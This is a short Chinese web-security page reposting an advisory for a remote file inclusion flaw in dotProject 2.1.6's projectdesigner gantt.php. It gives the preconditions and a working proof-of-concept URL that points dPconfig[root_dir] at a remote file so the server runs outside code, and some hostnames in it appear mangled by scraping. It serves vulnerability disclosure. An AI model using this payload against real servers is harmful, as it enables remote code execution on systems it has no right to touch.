dotProject <= 2.1.6远程文件包含 - 网站安全 - 自学

题目：  [ dotProject <= 2.1.6 ] Remote File Inclusion Vulnerability  #

 Script: "PHP web-based project management framework that includes modules for companies,

#          projects, tasks (with Gantt charts), forums, files, calendar, contacts, tickets/helpdesk,

#          multi-language support, user/module permissions and themes"

#

开发者:   http://HdhCmsTestdotproject.net/

下载 地址: http://sourceforge.net/projects/dotproject/files/dotproject/dotProject%20Version%202.1.6/

 [远程文件包含 ] (需要条件： allow_url_include = On; register_globals = On; )

 

所在文件: dotproject/modules/projectdesigner/gantt.php ( line: 8 ):

# ..cut..

# include ($dPconfig['root_dir'].'/lib/jpgraph/src/jpgraph.php');

# ..cut..

#

# Vuln:  http://HdhCmsTest2cto测试数据 /dotproject/modules/projectdesigner/gantt.php?dPconfig[root_dir]=http://localhost/info.txt?

 

查看更多关于dotProject <= 2.1.6远程文件包含 - 网站安全 - 自学的详细内容...